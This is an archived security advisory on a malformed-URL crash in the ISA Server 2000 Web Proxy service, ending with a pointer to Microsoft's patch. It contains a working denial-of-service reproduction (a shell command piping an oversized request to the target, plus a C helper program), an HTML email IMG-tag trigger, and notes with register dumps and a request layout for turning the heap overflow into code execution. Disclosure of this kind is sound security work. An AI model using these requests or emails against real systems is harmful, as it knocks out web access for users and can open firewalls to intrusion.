COMMAND

    ISA Server Web Proxy Service

SYSTEMS AFFECTED

    ISA Server 2000

PROBLEM

    The ISA  Server Web  Proxy service  does not  correctly handle web
    requests that  contain a  particular type  of malformed  argument.
    Processing such  a request  would result  in an  access violation,
    which  would  cause  the  Web  Proxy  service to fail.  This would
    disrupt  all  ingoing  and  outgoing  web proxy requests until the
    service was restarted.

    Mitigating Factors:
    - The  vulnerability  could  be  exploited from the Internet  only
      if the  Web Publishing  feature were  enabled. By  default, this
      feature is disabled.

    - The  vulnerability would  not enable  an attacker  to breach the
      security of  the firewall  - that  is, it  would not  enable the
      attacker to access protected  resources or bypass the  firewall.
      It would  only enable  the attacker  to deny  legitimate service
      to other users.

    - The vulnerability would only  allow the Web Proxy service  to be
      disrupted.   Other  ISA  services  would  continue   functioning
      normally.

    Acknowledgment goes to Dr. Richard Reiner, Graham Wiseman, Matthew
    Siemens, and Kent Nicolson of FSC Internet Corp./SecureXpert Labs.
    Here is what they had to say (SX-20010320-2).

    Microsoft ISA Server 1.0 on Windows 2000 Server SP1 is  vulnerable
    to  a  simple  network-based  attack  which stops all incoming and
    outgoing web traffic from  passing through the firewall  until the
    firewall is rebooted or the affected service is restarted.  If the
    firewall  is  configured  to  use  the  "Web  Publishing"  feature
    (inbound HTTP proxy to a web server), this attack can be performed
    remotely.

    Microsoft ISA server includes a web proxy component  (W3PROXY.EXE)
    that is used for both the "publishing" of internal web servers  to
    the  external  network  and  for  proxying of internal requests to
    external  web  servers.   Sending  a  URL  with  a  long  pathname
    component to this proxy will cause it to terminate with an  access
    violation error.  For example, sending the (valid) HTTP request:

        GET http://hostname/aaa[3000 more occurences of 'a'] HTTP/1.0\n\n

    to  port  80  on  the  ISA  Server's external interface will cause
    W3PROXY.EXE  to  terminate  with  an  access  violation.  This can
    easily be reproduced  from a Linux  system by using  the following
    simple shell command:

        printf 'GET http://${HOST}/%s HTTP/1.0\n\n' `./repeat ${x} ${y}` | nc ${HOST} 80

    where:
    - printf is the shell utility of that name
    - ${HOST}  is  an  environment  variable  set to a hostname  which
      resolves to the external IP of the ISA server
    - ./repeat is the simple C program whose source is given below
    - ${x}  is the  ASCII value  of the  character to  insert into the
      generated URL
    - ${y} is the number of repetions of ${x}

    The `repeat' program can be  compiled from the following simple  C
    source:

    /*
     * repeat.c -- quick-n-dirty hack to output argv[2] instances of the
     * character whose ASCII value is given as argv[1]
     *
     * WARNING - this has absolutely no error checking!
     */

    #include <stdio.h>

    main (int argc, char **argv) {
      int character;
      long repetitions, i;

      if ( argc != 3 ) {
        printf("usage: repeat char reps\n");
        exit(1);
      }
      character = atoi(argv[1]);
      repetitions = atol(argv[2]);

      for (i = 0L; i < repetitions; i++) {
        printf ("%c", character);
      }
    }

    The behaviour  of W3PROXY.EXE  is dependent  both on  the value of
    ${x}  and  the  value  of  ${y}.   With  ${x} of 55, the following
    behavious is observed based on the value of ${y}:

        100: processes correctly, returns "404 Object Not Found" from target web server.
        200: returns 404
        250: returns 404
        254: returns 404
        255: returns "414 URL Too Long"
        260: returns 414
        300: returns 414
        2000: returns 414
        2100: returns 414
        2200: returns 414
        2300: returns 414
        2300, repeated several times: W3PROXY.EXE grows to 128MB of process size and
                                      is then terminated with an access violation.
        2350: W3PROXY.EXE is terminated on the first attempt.
        All larger values: as 2350, above.

    With different values of ${x}, different behaviour is observed for
    some values of ${y}.  This, along with preliminary analyis of  the
    Dr.   Watson  logs  generated  upon  termination  of  W3PROXY.EXE,
    initially suggested  that an  exploitable overflow  may have  been
    present.  However, source code analysis by Microsoft has indicated
    that only  a heap  overflow is  present, and  therefore that  this
    vulnerability is not exploitable beyond denial of service.

    Several individuals  have pointed  out an  easier exploit scenario
    for this  vulnerability, which  additionally does  NOT require the
    Web  Publishing  feature  of  ISA  server  to  be active.  The new
    exploit  consists  simply  of   sending  an  HTML  email   message
    containing an IMG tag with a  SRC value URL of the form  described
    in above to a recipient  within the protected network.   When this
    message is read, the recipient's web browser will generate an HTTP
    request which  will trigger  the W3PROXY.EXE  access violation and
    therefore the denial of service.

        <img src=http://hostname/aaa[3000 more occurences of 'a']>

    Another  variation   involves  sending   an  HTML   email  message
    containing  Javascript  or  VBScript  which  generates  such a URL
    request to  a recipient  within the  protected network.   However,
    some  web  browsers  may  be  configured not to execute Javascript
    VBScript within the context of an email message.

    'dark  spyrit'  added  following.   After  reading  the   advisory
    provided by the SecureXpert team  he decided to look for  himself.
    Going  by  the  info  they  provided  and  a  few  slight   buffer
    modifications we found ourselves breaking at this point..

        .text:0101D726                 mov     ecx, [eax]
        .text:0101D728                 push    edi
        .text:0101D729                 mov     edi, eax
        .text:0101D72B                 mov     eax, [eax+4]
        .text:0101D72E                 push    esi
        .text:0101D72F                 mov     [eax], ecx
        .text:0101D731                 mov     [ecx+4], eax
        .text:0101D734                 call    ds:LeaveCriticalSection
        .text:0101D73A                 mov     eax, edi
        .text:0101D73C                 pop     edi
        .text:0101D73D                 pop     esi
        .text:0101D73E                 retn

    It takes  a bit  of register  fiddling to  get somewhere..  but is
    certainly do-able.

    The data at the offset of  eax is referencing the tail end  of the
    user buffer sent (2 dwords).  You can see by the code that you can
    now write to any writeable memory location with any data you  wish
    - stored return address, saved exception handler.. whatever.

    The heap corruption  makes exploiting this  a slightly random  and
    volatile exercise.. but we've had success getting code executing.

        Request - GET http://host/<2338 x nop><offset to user buffer><stored ret address>

    He found he needed  to send this request  twice to reach the  code
    location  where  we  are  able  to  execute  our buffer.. the heap
    corruption can lead  to random crash  locations - but  we hit this
    point more often than not - the fact is, it is possible.

        EAX=41414141 EBX=02492394 ECX=78787878 EDX=0105B9F8 ESI=0105B9F8
        EDI=024A25F0 EBP=0621FE1C ESP=0621FDF8 EIP=0101D72F o d I s z A p c
        CS=001B DS=0023 SS=0023 ES=0023 FS=0038 GS=0000 ds:41414141=FFFFFFFF
        
        001b:0101d72f   mov     [eax], ecx
        001b:0101d731   mov     [ecx+04], eax
        001b:0101d734   call    [ntdll!RtlLeaveCriticalSection]
        001b:0101d73a   mov     eax, edi
        001b:0101d73c   pop     edi
        001b:0101d73d   pop     esi
        001b:0101d73e   ret
        
        (PASSIVE)-KTEB(854083E0)-TID(05C4)--W3PROXY!.text+0001C741----------

    As you can see we are able to define the values of ecx and  eax...
    we can write whatever data we want to a location of our  choosing.
    By overwriting eax  with a saved  return address and  ecx with the
    address of our buffer we can execute our code.

SOLUTION

    A  patch  is  available  to  fix  this vulnerability.  Please read
    Security Bulletin:

        http://www.microsoft.com/technet/security/bulletin/ms01-021.asp

    for information on obtaining this patch.